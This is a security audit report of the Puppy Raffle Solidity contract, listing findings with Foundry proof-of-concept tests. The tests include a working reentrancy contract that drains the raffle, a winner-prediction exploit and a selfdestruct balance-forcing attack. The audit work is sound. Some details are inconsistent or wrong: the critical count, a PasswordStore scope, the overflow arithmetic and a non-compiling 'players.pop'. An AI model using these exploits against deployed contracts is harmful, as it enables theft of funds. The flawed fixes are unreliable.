Oct.23

SECURITY REPORT:

PUPPY RAFFLE

CONTENTS

8. [M] - Slightly increasing puppyraffle's contract balance will render withdrawFees function useless.

9. [M] - Impossible to win raffle if the winner is a smart contract without a fallback function.

10. M] - Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address), leading to possible refund failures.

11. [L] - Missing WinnerSelected/FeesWithdrawn event emition in PuppyRaffle::selectWinner/PuppyRaffle::withdrawFees methods.

12. [L] - Participants are mislead by the rarity chances.

13. [L] - PuppyRaffle::selectWinner() - L126: should use > instead of >=, because raffleStartTime + raffleDuration still represents an active raffle.

14. [L] - Total entrance fee can overflow leading to the user paying little to nothing.

15. [L] - Fee should be 'totalAmountCollected-prizePool' to prevent decimal loss.

16. [I] - Consider declaring functions as external rather than public.

17. [I] - ++i Costs Less Gas Than i++, Especially When It's Used In For-loops.

18. [I] - Set variables as immutable.

19. [I] - Repeated access to the loop break condition..

AUDIT INFORMATION

SCOPE

The analyzed resources are located at:
https://github.com/Cyfrin/2023-10-PasswordStore

The issues described in this report were fixed in the following commit:
https://github.com/aitorzaldua/Codehawks_FirstFligths/tree/main/src/01-PasswordStore

LEAD BY

Aitor Zaldua

aitor.zaldua@draftdigital.xyz

DATES

Audit Starting Date. 2023 - Oct 18th

Audit Completion Date. 2023 - Oct 25th

SEVERITY STRUCTURE

The vulnerability severity is calculated based on two components

- Impact of the vulnerability
- Probability of the vulnerability

IMPACT	PROBABILITY			
	Rare	Unlikely	Likely	Very Likely
Low / Info	Low / Info	Low / Info	Medium	Medium
Medium	Info Low	Medium	Medium	High
High	/ Info	Medium	High	Critical
Critical	Medium	High	Critical	Critical

Medium

SEVERITY CHARACTERISTICS

Vulnerabilities can range in severity and impact, and it's important to understand their level of severity in order to prioritize their resolution. Here are the different types of severity levels of vulnerabilities:

CRITICAL

Vulnerabilities with this level of severity can result in significant financial losses or reputational damage. They often allow an attacker to gain complete control of a contract, directly steal or freeze funds from the contract or users, or permanently block the functionality of a protocol. Examples include infinite mints and governance manipulation.

HIGH

Vulnerabilities with this level of severity can result in some financial losses or reputational damage. They often allow an attacker to directly steal yield from the contract or users, or temporarily freeze funds. Examples include inadequate access control integer overflow/underflow, or logic bugs.

MEDIUM

Vulnerabilities with this level of severity can result in some damage to the protocol or users, without profit for the attacker. They often allow an attacker to exploit a contract to cause harm, but the impact may be limited, such as temporarily blocking the functionality of the protocol. Examples include uninitialized storage pointers and failure to check external calls.

LOW

Vulnerabilities with this level of severity may not result in financial losses or significant harm. They may, however, impact the usability or reliability of a contract. Examples include slippage and front-running, or minor logic bugs.

INFORMATIONAL

Vulnerabilities with this level of severity are regarding gas optimizations and code style. They often involve issues with documentation, incorrect usage of EIP standards, best practices for saving gas, or the overall design of a contract. Examples include not conforming to ERC20, or disagreement between documentation and code.

It's important to consider all types of vulnerabilities, including informational ones, when assessing the security of the project. A comprehensive security audit should consider all types of vulnerabilities to ensure the highest level of security and reliability.

EXECUTIVE SUMMARY

OVERVIEW

This audit covered Puppy Raffle protocol, that is a part of the Codehawks First Flight program.

Puppy Raffle is a protocol of the NFT Raffle, where users are eligible to draw NFTs of different rarities. A winner is chosen at random and likewise, the rarity of the NFT depends on the fortune.

Our security assessment was a full review of the Puppy Raffle protocol going further than the Codehawks contests usually goes, covering the full range of possibles vulnerabilities. We have thoroughly reviewed each contract individually, as well as the system as a whole.

During our audit, we have identified 2 critical severity vulnerabilities in the main contract. Both allow a malicious actor to take control of the platform.

All of the reported issues were fixed by the development team and consequently validated by us.

We can confidently say that the overall security and code quality
has increased after completion of our audit.

SUMMARY

SEVERITY	NUMBER OF FINDINGS
CRITICAL	0
HIGH	7
MEDIUM	3
LOW	6
INFORMATIONAL	4

TOTAL: 20

current Status:
All Fixed.

VULNERABILITIES

This section contains the list of discovered weaknesses.

PUPPY RAFFLE-0: Prize calculation using array length leads to bad prize calculation.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::refund

SUMMARY: Price calculation is based on the length of the array:

```
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
    totalFees = totalFees + uint64(fee);
```

In the case of a refund, the refunded user address is not deleted, but replaced by address(0) so that the length of the array is the same.
So the winner gets a higher prize than it should be.

IMPACT: We have 2 possible situations: The winner receives more than the corresponding prize or the protocol does not have enough funds to pay the prize.

REMEDIATION: The best course of action is to simply remove the player from the list when refunding. In this recommendation we use a simple way, but if you want to keep the order in the array, you better create a loop.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = players[players.length - 1];
        players.pop;

        emit RaffleRefunded(playerAddress);
    }
```

This way, you ensure that the data types are consistent and can handle the range of values that your contract may encounter.

PROOF OF CONCEPT:

Check the test:

```
function test_balanceAfterRefund() external playerEntered {
        // 1. We create a raffle with 5 players
        address[] memory Addplayers = new address[](4);
        Addplayers[0] = playerTwo;
        Addplayers[1] = playerThree;
        Addplayers[2] = playerFour;
        Addplayers[3] = playerFive;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(Addplayers);

        assertEq(address(puppyRaffle).balance, 5 * entranceFee);

        // 2. PlayerTwo decided to left the raffle
        vm.prank(playerTwo);
        puppyRaffle.refund(1);
        assertEq(address(puppyRaffle).balance, 4 * entranceFee);

        // 3. Now, we have 4 players so the prize distribution should be:
        // winner = (4 * 80) / 100 = 3.2 eth
        // pool = 0.8 eth
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        // We know (checked before) that the winner is playerThree:
        console.log("balance playerThree: ", playerThree.balance);
        console.log("balance pool: ", address(puppyRaffle).balance);
    }
```

playerThree balance should be 3.2 eth but received 4 eth as (5 * 80) / 100

```
Running 1 test for test/PRTEst.t.sol:PRTEst
[PASS] test_balanceAfterRefund() (gas: 348175)
Logs:
  balance playerThree:  4000000000000000000
  balance pool:  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.24ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
➜  2023-10-Puppy-Raffle git:(main) ✗
```

PUPPY RAFFLE-1: Reentrancy attack due to Function refund() not following CEI patter.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::refund

SUMMARY: All functions with calls should follow the CEI (Check-Effect-Interact) pattern, otherwise the contract is susceptible to losing all funds. In this case, we can see that the actions are Check-Interact-Effect so a malicious user could steal the entire contract balance.

Other options are to use the OpenZeppelin library or a modifier, but we will explain this later.

IMPACT: The application will lose any funds it had at the time and will remain vulnerable for future raffles.

REMEDIATION:The only way to guarantee 100% avoidance of reentrancy attacks is to follow the CEI pattern. So the function has to be rewritten:

In addition, it is also recommended that you add a custom reentrancy modifier or use the Open Zeppelin library directly:

https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard

STATUS: FIXED

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    players[playerIndex] = address(0);
    payable(msg.sender).sendValue(entranceFee);

    emit RaffleRefunded(playerAddress);
}
```

PROOF OF CONCEPT:

Step 1: To prove the vulnerability, we need an attack contract, as it is not possible to do this with an EOA account.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import {console} from "forge-std/Test.sol";

interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;
    function refund(uint256 playerIndex) external;
    function getActivePlayerIndex(address player) external view returns (uint256);
}

contract RefundHack {
    IPuppyRaffle puppyRaffle;

    address owner;
    uint256 indexOfPlayer;
    uint256 entranceFee = 1e18;

    modifier onlyOwner() {
        require(msg.sender == owner, "only Owner");
        _;
    }

    constructor(address _puppyRaffle) {
        owner = msg.sender;
        puppyRaffle = IPuppyRaffle(_puppyRaffle);
    }

    function enterRaffle() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
    }

    function attack() external onlyOwner {
        indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(indexOfPlayer);
    }

    receive() external payable {
        uint256 raffleBalance = (address(puppyRaffle).balance / 1e18);
        if (raffleBalance > 0) {
            puppyRaffle.refund(indexOfPlayer);
        }
        (bool success,) = owner.call{value: msg.value}("");
        require(success);
    }
}
```

Step 2: Using the same test contract that was created by the dev team:

1. Create a new user attacker.
2. Deploy the attack contract.

Step 3: Create and run the test:

```
function test_refundAttack() external playersEntered {
    // 0.- Starting point
    uint256 raffleBalance = (address(puppyRaffle).balance);
    assertEq(address(attacker).balance, entranceFee);
    assertEq(address(puppyRaffle).balance, raffleBalance);

    vm.startPrank(attacker);
    // 1.- Put the attack contract into the Raffle
    refundHack.enterRaffle{value: entranceFee}();

    // 4.- Stole the funds
    refundHack.attack();
    vm.stopPrank();

    // After the attack, attacker has all the contract balance and contract has 0.
    assertEq(address(attacker).balance, raffleBalance + entranceFee);
    assertEq(address(puppyRaffle).balance, 0);
    }
```

```
  2023-10-Puppy-Raffle git:(main) ✗ forge test --mt test_refundAttack
[⠒] Compiling...
[⠒] Compiling 2 files with 0.7.6
[⠒] Solc 0.7.6 finished in 1.42s

Running 1 test for test/PRTEst.t.sol:PuppyRaffleTest
[PASS] test_refundAttack() (gas: 305684)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.39ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

PUPPY RAFFLE-2: Using on-chain data to pick the winner leads to knowing the winner in advance.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::selectWinner

SUMMARY: Blockchain is a deterministic technology, so there is no randomness and no way to create random data for a lottery or similar application.
But not only that. The fact that the function does not have any kind of access control made it possible for an attacker to execute it at any time, choosing the right block.timestamp and block.difficulty to suit his/her interest.

IMPACT: Any attacker can set up their account in the right place so that they always win the raffle, so that it is no longer a "lottery" but a scam for the other users.

REMEDIATION: We don't know if this was intended by the developers, but it is highly recommended to secure the function with Open Zeppelin libraries such as onlyOwner or AccessControl. This will help to control the damage.
But the only real way to avoid the high-risk vulnerability is to use an oracle instead of on-chain data for randomness.
The most widely used and tested oracle for these cases is the Chainlink VRF, and it is possible to consult the documentation for it here:
https://docs.chain.link/vrf

STATUS: Need implementation

PROOF OF CONCEPT:

This contract, within the selectWinner() function, uses on-chain data 2 times:

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
```

And

```
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

Take this test as an example:

```
function test_selectWinnerNoRandomness() external playerEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 afterIndex = uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty)));
        uint256 afterIndex4 = afterIndex % 4;
        uint256 afterIndex5 = afterIndex % 5;

        console.log("afterIndex4: ", afterIndex4); // afterIndex4:  1
        console.log("afterIndex5: ", afterIndex5); // afterIndex4:  4 ok!!!

        // Note: It is more elegant to use a script or a loop but this is only for PoC

        // The attacker has found that in a 5 player game the position to take is 5.
        address[] memory playerAttack = new address[](4);
        playerAttack[0] = playerTwo;
        playerAttack[1] = playerThree;
        playerAttack[2] = playerFour;
        playerAttack[3] = attacker;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(playerAttack);

        uint256 contractBalance = address(puppyRaffle).balance;
        uint256 attackerBalance = address(attacker).balance;

        // The attacker should execute the function himself to use his/her address!
        vm.prank(attacker);
        puppyRaffle.selectWinner();

        assertEq(attacker.balance, attackerBalance + ((contractBalance * 80) / 100));
    }
```

```
➜  2023-10-Puppy-Raffle git:(main) ✗ forge test --mt test_selectWinnerNoRandomness
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/PRTEst.t.sol:PRTEst
[PASS] test_selectWinnerNoRandomness() (gas: 303697)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.27ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As we can see, after finding the relationship between global variables + own address + number of players, the attacker is able to attack the contract and win the prize with 100% effectiveness.

The same goes for rarity. The attacker is able to find the relationship between the address and the difficulty and get the desired rarity.

PUPPY RAFFLE-3: PuppyRaffle::refund replaces an index with address(0) which can cause the function PuppyRaffle::selectWinner to always revert.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::refund

SUMMARY: When a user requests a refund, the address in the array is replaced with address(0). If the raffle selects this array position as the winner, the winner will be address(0). If we have multiple refunds, the bug will be really problematic.

IMPACT: No user will lose money, but the malfunction will be severe and the protocol will remain in revert state for enough time to gain a bad reputation and lose all users.

REMEDIATION: The best course of action is to simply remove the player from the list when refunding. In this recommendation we use a simple way, but if you want to keep the order in the array, you better create a loop.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = players[players.length - 1];
    players.pop;

    emit RaffleRefunded(playerAddress);
}
```

PROOF OF CONCEPT:

We set up a test to prove that the concept worked:

```
function test_refundLetDangerousAddress0() external playersEntered {
    // players[] = [address1, address2, address3, address4]
    assertEq(address(puppyRaffle).balance, 4 * entranceFee);
    // 1.- execute refunds for address[1], [2], [3]
    vm.prank(playerTwo);
    puppyRaffle.refund(1);
    vm.prank(playerThree);
    puppyRaffle.refund(2);
    vm.prank(playerFour);
    puppyRaffle.refund(3);
    assertEq(address(puppyRaffle).balance, entranceFee);

    // 2.- Moving forward and executing the raffle:
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
}
```

```
    └─ ← ()
├─ [0] VM::roll(2)
│   └─ ← ()
├─ [60652] PuppyRaffle::selectWinner()
│   ├─ [0] 0x0000000000000000000000000000000000000000::fallback{value: 3200000000000000000}()
│   │   └─ ← "EvmError: OutOfFund"
│   └─ ← "PuppyRaffle: Failed to send prize pool to winner"
└─ ← "PuppyRaffle: Failed to send prize pool to winner"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.35ms

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/PRTEst.t.sol:PRTEst
[FAIL. Reason: PuppyRaffle: Failed to send prize pool to winner] test_refundLetDangerousAddress0() (gas: 333806)

Encountered a total of 1 failing tests, 0 tests succeeded
```

We can see that the protocol is trying to send the prize to address 0x0000000000000000000000000000000000000000

PUPPY RAFFLE-4: Typecasting from uint256 to uint64 in PuppyRaffle::selectWinner may lead to Overflow and Incorrect Fee Calculation.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::selectWinner

SUMMARY: The type conversion from uint256 to uint64 in the expression 'totalFees = totalFees + uint64(fee)' may potentially cause overflow problems if the 'fee' exceeds the maximum value that a uint64 can accommodate (2^64 - 1).

```
    totalFees = totalFees + uint64(fee);
```

IMPACT: This could consequently lead to inaccuracies in the computation of 'totalFees'.

REMEDIATION: To resolve this issue, you should change the data type of totalFees from uint64 to uint256. This will prevent any potential overflow issues, as uint256 can accommodate much larger numbers than uint64. Here's how you can do it:

Change the declaration of totalFees from:

```
uint64 public totalFees = 0;
```

to

```
uint256 public totalFees = 0;
```

And update the line where totalFees is updated from:

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

STATUS: Fixed

PROOF OF CONCEPT:

This contract, within the selectWinner() function, uses on-chain data 2 times:

```
function testOverflow() public {
        uint256 initialBalance = address(puppyRaffle).balance;

        // This value is greater than the maximum value a uint64 can hold
        uint256 fee = 2**64;

        // Send ether to the contract
        (bool success, ) = address(puppyRaffle).call{value: fee}("");
        assertTrue(success);

        uint256 finalBalance = address(puppyRaffle).balance;

        // Check if the contract's balance increased by the expected amount
        assertEq(finalBalance, initialBalance + fee);
    }
```

In this test, assertTrue(success) checks if the ether was successfully sent to the contract, and assertEq(finalBalance, initialBalance + fee) checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow.

PUPPY RAFFLE-5: Overflow/Underflow vulnerability for any version before 0.8.0.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: The PuppyRaffle.sol uses Solidity compiler version 0.7.6. Any Solidity version before 0.8.0 is prone to Overflow/Underflow vulnerability. Short example - a uint8 x; can hold 256 values (from 0 - 255). If the calculation results in x variable to get 260 as value, the extra part will overflow and we will end up with 5 as a result instead of the expected 260 (because 260-255 = 5).

IMPACT: Depending on the bits assigned to a variable, and depending on whether the value assigned goes above or below a certain threshold, the code could end up giving unexpected results. This unexpected OVERFLOW and UNDERFLOW will result in unexpected and wrong calculations, which in turn will result in wrong data being used and presented to the users.

REMEDIATION: TModify the code to include SafeMath:
First import SafeMath from openzeppelin:

```
import "@openzeppelin/contracts/math/SafeMath.sol";
```

then add the following line, inside PuppyRaffle Contract:

```
using SafeMath for uint256;
```

(can also add safemath for uint8, uint16, etc as per need)

Then modify the require inside enterRaffle() function:

```
- require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
+ uint256 totalEntranceFee = newPlayers.length.mul(entranceFee);
+ require(msg.value == totalEntranceFee, "PuppyRaffle: Must send enough to enter raffle");
```

Then modify variables (totalAmountCollected, prizePool, fee, and totalFees) inside selectWinner() function:

```
- uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 totalAmountCollected = players.length.mul(entranceFee);

- uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 prizePool = totalAmountCollected.mul(80).div(100);

- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 fee = totalAmountCollected.mul(20).div(100);

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees.add(fee);
```

This way, the code is now safe from Overflow/Underflow vulnerabilities.

PROOF OF CONCEPT:

Without SafeMath:

```
function withoutSafeMath() external pure returns (uint256 fee){
    uint8 totalAmountCollected = 20;
    fee = (totalAmountCollected * 20) / 100;
    return fee;
}
// fee: 1
// WRONG!!!
```

In the above code,without safeMath, 20x20 (totalAmountCollected * 20) was 400, but 400 is beyond the limit of uint8, so after going to 255, it went back to 0 and started counting from there. So, 400-255 = 145. 145 was the result of 20x20 in this code. And after dividing it by 100, we got 1.45, which the code showed as 1.

With SafeMath:

```
function withSafeMath() external pure returns (uint256 fee){
    uint8 totalAmountCollected = 20;
    fee =  totalAmountCollected.mul(20).div(100);
    return fee;
}
//  fee: 4
//  CORRECT!!!!
```

PUPPY RAFFLE-6: Potential Front-Running Attack in PuppyRaffle.sol::selectWinner and PuppyRaffle.sol::refund Function.

SEVERITY: HIGH

PATH: src/01-PasswordStore/PuppyRaffle.sol::selectWinner
src/01-PasswordStore/PuppyRaffle.sol::refund

SUMMARY: Malicious actors can watch any selectWinner transaction and front-run it with a transaction that calls refund to avoid participating in the raffle if he/she is not the winner or even to steal the owner fess utilizing the current calculation of the totalAmountCollected variable in the selectWinner function.

IMPACT: The potential front-running attack might lead to undesirable outcomes, including avoiding participation in the raffle and stealing the owner's fees (totalFees). These actions can result in significant financial losses and unfair manipulation of the contract.

REMEDIATION: To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations:

Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the refund function after a certain period of time has passed since the selectWinner function was called. This would prevent attackers from front-running the selectWinner function and calling the refund function before the legitimate winner is selected.

Status: Fixed

PROOF OF CONCEPT:

The PuppyRaffle smart contract is vulnerable to potential front-running attacks in both the selectWinner and refund functions. Malicious actors can monitor transactions involving the selectWinner function and front-run them by submitting a transaction calling the refund function just before or after the selectWinner transaction. This malicious behavior can be leveraged to exploit the raffle in various ways. Specifically, attackers can:

Attempt to Avoid Participation: If the attacker is not the intended winner, they can call the refund function before the legitimate winner is selected. This refunds the attacker's entrance fee, allowing them to avoid participating in the raffle and effectively nullifying their loss.

Steal Owner Fees: Exploiting the current calculation of the totalAmountCollected variable in the selectWinner function, attackers can execute a front-running transaction, manipulating the prize pool to favor themselves. This can result in the attacker claiming more funds than intended, potentially stealing the owner's fees (totalFees).

PUPPY RAFFLE-7: PuppyRaffle::enterRaffle Use of gas extensive duplicate check leads to Denial of Service, making subsequent participants to spend much more gas than prev ones to enter.

SEVERITY: MEDIUM

PATH: src/01-PasswordStore/PuppyRaffle.sol::enterRaffle

SUMMARY: PuppyRaffle::enterRaffle uses gas inefficient duplicate check that causes leads to Denial of Service, making subsequent participants to spend much more gas than previous users to enter.

IMPACT: The gas costs to join the raffle for the players that join towards the end are unjustifiably higher compared to the first joiners. It get's super expensive really fast, up to the point it reaches the gas block limit.

REMEDIATION: The approach undertaken has a time complexity of O(n^2). This can be done in O(n) as follows:

```
++ mapping(address => bool) private activePlayers;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
--          players.push(newPlayers[i]);
--      }

--    // Check for duplicates
--    for (uint256 i = 0; i < players.length - 1; i++) {
--        for (uint256 j = i + 1; j < players.length; j++) {
--            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
--        }
--    }
++      address player = newPlayers[i];

++      // Check if the player already entered
++      require(!activePlayers[player], "PuppyRaffle: Player already registered");

++     // Set player active
++      activePlayers[player] = true;

++      players.push(player);
++  }

    emit RaffleEnter(newPlayers);
}
```

We keep both the old players array and the new activePlayers because we are still going to use the players array for selecting a winner or finding the players index, but we need the mapping to ensure a faster and less resource intensive duplication check. Other parts of the code should be updated to reflect the new activePlayers mapping, for example there should be a delete activePlayers in selectWinner function.

PROOF OF CONCEPT:

To develop the PoC we will do the following tasks:

1. Create 2 new users.

```
//New users:
address playerTen = makeAddr("10");
address playerEleven = makeAddr("11");
```

2. Create a new function to add 100 or 150 users.

```
function addHundred() internal {
    address[] memory newPlayers = new address[](150);
    for (uint256 i = 1; i < 151; i++) {
        address randomPlayer = address(i);
        newPlayers[i - 1] = randomPlayer;
    }
    puppyRaffle.enterRaffle{value: entranceFee * 150}(newPlayers);
}
```

3. Calculate the cost of gas for users Tena and Eleven to take part in the raffle if there are already 100 users.

```
function testPlayers100and101() public {
    addHundred();

    address[] memory players = new address[](2);
    players[0] = playerTen;
    players[1] = playerEleven;
    puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
    assertEq(puppyRaffle.players(150), playerTen);
    assertEq(puppyRaffle.players(151), playerEleven);
}
```

```
➜  2023-10-Puppy-Raffle git:(main) ✗ forge test --mt testPlayers100and101 --gas-report
[⠊] Compiling...
[⠒] Compiling 1 files with 0.7.6
```

```
| src/PuppyRaffle.sol:PuppyRaffle contract |                 |         |         |         |         |
|------------------------------------------|-----------------|---------|---------|---------|---------|
| Deployment Cost                          | Deployment Size |         |         |         |         |
| 3229550                                  | 14458           |         |         |         |         |
| Function Name                            | min             | avg     | median  | max     | # calls |
| enterRaffle                              | 4141408         | 5194670 | 5194670 | 6247932 | 2       |
| players                                  | 702             | 702     | 702     | 702     | 2       |
```

4. Modify `addHundred()` to create 150 players. Execute again gas report for `testPlayers100and101`

```
➜  2023-10-Puppy-Raffle git:(main) ✗ forge test --mt testPlayers100and101 --gas-report
[⠊] Compiling...
[⠒] Compiling 1 files with 0.7.6
[⠢] Solc 0.7.6 finished in 1.51s
```

```
| src/PuppyRaffle.sol:PuppyRaffle contract |                 |          |          |          |         |
|------------------------------------------|-----------------|----------|----------|----------|---------|
| Deployment Cost                          | Deployment Size |          |          |          |         |
| 3229550                                  | 14458           |          |          |          |         |
| Function Name                            | min             | avg      | median   | max      | # calls |
| enterRaffle                              | 9146333         | 10732570 | 10732570 | 12318808 | 2       |
| players                                  | 702             | 702      | 702      | 702      | 2       |
```

PUPPY RAFFLE-8: Slightly increasing puppyraffle's contract balance will render withdrawFees function useless.

SEVERITY: MEDIUM

PATH: src/01-PasswordStore/PuppyRaffle.sol::withdrawFees

SUMMARY: An attacker can slightly change the eth balance of the contract to break the withdrawFees function.

IMPACT: All fees that weren't withdrawn and all future fees are stuck in the contract.

REMEDIATION: Avoid using address(this).balance in this way as it can easily be changed by an attacker. Properly track the totalFees and withdraw it.

```
    function withdrawFees() external {
--      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

PROOF OF CONCEPT:

The withdraw function contains the following check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Using address(this).balance in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above PuppyRaffleTest:

```
contract Kill {
    constructor  (address target) payable {
        address payable _target = payable(target);
        selfdestruct(_target);
    }
}
```

Modify `setUp` as follows:

```
    function setUp() public {
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );
        address mAlice = makeAddr("mAlice");
        vm.deal(mAlice, 1 ether);
        vm.startPrank(mAlice);
        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
        vm.stopPrank();
    }
```

Now run testWithdrawFees() - forge test --mt testWithdrawFees to get:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
```

Any small amount sent over by a self destructing contract will make withdrawFees function unusable, leaving no other way of taking the fees out of the contract.

PUPPY RAFFLE-9: Impossible to win raffle if the winner is a smart contract without a fallback function.

SEVERITY: MEDIUM

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: If a player submits a smart contract as a player, and if it doesn't implement the receive() or fallback() function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

IMPACT: The protocol won't be able to select a winner but players will be able to withdraw funds with the refund() function.

REMEDIATION: Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.
We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace enterRaffle() with these lines of code:

```
function enterRaffle(address[] memory newPlayers) public payable {
   require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
   for (uint256 i = 0; i < newPlayers.length; i++) {
      require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs");
      players.push(newPlayers[i]);
   }

   // Check for duplicates
   for (uint256 i = 0; i < players.length - 1; i++) {
       for (uint256 j = i + 1; j < players.length; j++) {
           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
       }
   }

   emit RaffleEnter(newPlayers);
}
```

PUPPY RAFFLE-10: Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address) leading to possible refund failures.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol::getActivePlayerIndex

SUMMARY: The PuppyRaffle::getActivePlayerIndex(address) returns `0` when the index of this player's address is not found, which is the same as if the player would have been found in the first element in the array. This can trick calling logic to think the address was found and then attempt to execute a PuppyRaffle::refund(uint256).

IMPACT:

1. Exorbitantly high gas fees charged to user who might inadvertently request a refund before players have entered the raffle.
2. Inadvertent refunds given based in incorrect playerIndex.

REMEDIATION: Ideally, the whole process can be simplified. Since only the msg.sender can request a refund for themselves, there is no reason why PuppyRaffle::refund() cannot do the entire process in one call. Consider refactoring and implementing the PuppyRaffle::refund() function in this manner:

```
/// @dev This function will allow there to be blank spots in the array
function refund() public {
    require(_isActivePlayer(), "PuppyRaffle: Player is not active");
    address playerAddress = msg.sender;

    payable(msg.sender).sendValue(entranceFee);

    for (uint256 playerIndex = 0; playerIndex < players.length; ++playerIndex) {
        if (players[playerIndex] == playerAddress) {
            players[playerIndex] = address(0);
        }
    }
    delete existingAddress[playerAddress];
    emit RaffleRefunded(playerAddress);
}
```

Which happens to take advantage of the existing and currently unused PuppyRaffle::_isActivePlayer() and eliminates the need for the index altogether.

Alternatively, if the existing process is necessary for the business case, then consider refactoring the PuppyRaffle::getActivePlayerIndex(address) function to return something other than a uint that could be mistaken for a valid array index.

```
+    int256 public constant INDEX_NOT_FOUND = -1;
+    function getActivePlayerIndex(address player) external view returns (int256) {
-    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
-        return 0;
+        return INDEX_NOT_FOUND;
    }

    function refund(uint256 playerIndex) public {
+        require(playerIndex < players.length, "PuppyRaffle: No player for index");
```

PROOF OF CONCEPT:

The PuppyRaffle::refund() function requires the index of the player's address to perform the requested refund.

```
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
function refund(uint256 playerIndex) public;
```

In order to have this index, PuppyRaffle::getActivePlayerIndex(address) must be used to learn the correct value.

```
/// @notice a way to get the index in the array
/// @param player the address of a player in the raffle
/// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (int256) {
    // find the index...
    // if not found, then...
    return 0;
}
```

